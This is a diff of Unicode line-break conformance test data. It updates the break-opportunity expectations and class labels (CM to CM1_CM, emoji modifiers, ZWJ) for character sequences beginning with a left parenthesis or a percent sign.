+× 0028 × 0308 × 0020 × 000A ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0028 × 0085 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0028 × 0020 × 0085 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0028 × 0308 × 0085 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0028 × 0308 × 0020 × 0085 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0028 × 0308 × 0085 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0028 × 0308 × 0020 × 0085 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0028 × 17D6 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0028 × 0020 × 17D6 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0028 × 0308 × 17D6 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0028 × 0308 × 0020 × 17D6 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0028 × 0308 × 17D6 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0028 × 0308 × 0020 × 17D6 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0028 × 0030 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] DIGIT ZERO (NU) ÷ [0.3]
× 0028 × 0020 × 0030 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0028 × 0308 × 0030 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0028 × 0308 × 0020 × 0030 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0028 × 0308 × 0030 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0028 × 0308 × 0020 × 0030 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] DIGIT ZERO (NU) ÷ [0.3]
× 0028 × 0028 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0028 × 0020 × 0028 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0028 × 0308 × 0028 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0028 × 0308 × 0020 × 0028 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0028 × 0308 × 0028 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0028 × 0308 × 0020 × 0028 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0028 × 0025 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] PERCENT SIGN (PO) ÷ [0.3]
× 0028 × 0020 × 0025 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0028 × 0308 × 0025 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0028 × 0308 × 0020 × 0025 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0028 × 0308 × 0025 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0028 × 0308 × 0020 × 0025 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] PERCENT SIGN (PO) ÷ [0.3]
× 0028 × 0024 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0028 × 0020 × 0024 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0028 × 0308 × 0024 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0028 × 0308 × 0020 × 0024 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0028 × 0308 × 0024 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0028 × 0308 × 0020 × 0024 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0028 × 0022 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] QUOTATION MARK (QU) ÷ [0.3]
× 0028 × 0020 × 0022 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] QUOTATION MARK (QU) ÷ [0.3]
-× 0028 × 0308 × 0022 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] QUOTATION MARK (QU) ÷ [0.3]
-× 0028 × 0308 × 0020 × 0022 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] QUOTATION MARK (QU) ÷ [0.3]
+× 0028 × 0308 × 0022 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] QUOTATION MARK (QU) ÷ [0.3]
+× 0028 × 0308 × 0020 × 0022 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] QUOTATION MARK (QU) ÷ [0.3]
× 0028 × 0020 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) ÷ [0.3]
× 0028 × 0020 × 0020 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 0028 × 0308 × 0020 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 0028 × 0308 × 0020 × 0020 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 0028 × 0308 × 0020 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 0028 × 0308 × 0020 × 0020 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 0028 × 002F ÷ # × [0.3] LEFT PARENTHESIS (OP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0028 × 0020 × 002F ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 0028 × 0308 × 002F ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 0028 × 0308 × 0020 × 002F ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 0028 × 0308 × 002F ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 0028 × 0308 × 0020 × 002F ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0028 × 2060 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0028 × 0020 × 2060 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0028 × 0308 × 2060 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0028 × 0308 × 0020 × 2060 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0028 × 0308 × 2060 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0028 × 0308 × 0020 × 2060 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0028 × 200B ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0028 × 0020 × 200B ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0028 × 0308 × 200B ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0028 × 0308 × 0020 × 200B ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0028 × 0308 × 200B ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0028 × 0308 × 0020 × 200B ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0028 × 1F1E6 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 0028 × 0020 × 1F1E6 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0028 × 0308 × 1F1E6 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 0028 × 0308 × 0020 × 1F1E6 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0028 × 0308 × 1F1E6 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0028 × 0308 × 0020 × 1F1E6 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 0028 × 261D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0028 × 0020 × 261D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0028 × 0308 × 261D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0028 × 0308 × 0020 × 261D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 0028 × 1F3FB ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0028 × 0020 × 1F3FB ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0028 × 0308 × 1F3FB ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0028 × 0308 × 0020 × 1F3FB ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 0028 × 0001 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0028 × 0020 × 0001 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0028 × 0308 × 0001 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0028 × 0308 × 0020 × 0001 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 0028 × 200D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0028 × 0020 × 200D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0028 × 0308 × 200D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 0028 × 0308 × 0020 × 200D ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 0028 × 00A7 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0028 × 0020 × 00A7 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0028 × 0308 × 00A7 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 0028 × 0308 × 0020 × 00A7 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0028 × 0308 × 00A7 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 0028 × 0308 × 0020 × 00A7 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 0028 × 50005 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0028 × 0020 × 50005 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0028 × 0308 × 50005 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 0028 × 0308 × 0020 × 50005 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0028 × 0308 × 50005 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 0028 × 0308 × 0020 × 50005 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 0028 × 0E01 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0028 × 0020 × 0E01 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0028 × 0308 × 0E01 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 0028 × 0308 × 0020 × 0E01 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0028 × 0308 × 0E01 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 0028 × 0308 × 0020 × 0E01 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 0028 × 3041 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0028 × 0020 × 3041 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [7.01] SPACE (SP) × [14.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0028 × 0308 × 3041 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [14.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0028 × 0308 × 0020 × 3041 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [14.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 0025 × 0023 ÷ # × [0.3] PERCENT SIGN (PO) × [24.03] NUMBER SIGN (AL) ÷ [0.3]
+× 0028 × 0308 × 3041 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [14.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0028 × 0308 × 0020 × 3041 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [14.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 0025 × 0023 ÷ # × [0.3] PERCENT SIGN (PO) × [24.02] NUMBER SIGN (AL) ÷ [0.3]
× 0025 × 0020 ÷ 0023 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0025 × 0308 × 0023 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [24.03] NUMBER SIGN (AL) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0025 × 0308 × 0023 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [24.02] NUMBER SIGN (AL) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 0025 ÷ 2014 ÷ # × [0.3] PERCENT SIGN (PO) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 0025 × 0020 ÷ 2014 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 0025 × 0308 ÷ 2014 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 0025 × 0308 ÷ 2014 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 0025 × 0009 ÷ # × [0.3] PERCENT SIGN (PO) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0025 × 0020 ÷ 0009 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0025 × 0308 × 0009 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0025 × 0308 × 0009 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0025 ÷ 00B4 ÷ # × [0.3] PERCENT SIGN (PO) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0025 × 0020 ÷ 00B4 ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0025 × 0308 ÷ 00B4 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0025 × 0308 ÷ 00B4 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0025 × 000B ÷ # × [0.3] PERCENT SIGN (PO) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0025 × 0020 × 000B ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0025 × 0308 × 000B ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0025 × 0308 × 0020 × 000B ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0025 × 0308 × 000B ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0025 × 0308 × 0020 × 000B ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0025 ÷ FFFC ÷ # × [0.3] PERCENT SIGN (PO) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0025 × 0020 ÷ FFFC ÷ # × [0.3] PERCENT SIGN (PO) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0025 × 0308 ÷ FFFC ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0025 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0025 × 0308 ÷ FFFC ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0025 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] PERCENT SIGN (PO) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0025 × 007D ÷ # × [0.3] PERCENT SIGN (PO) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
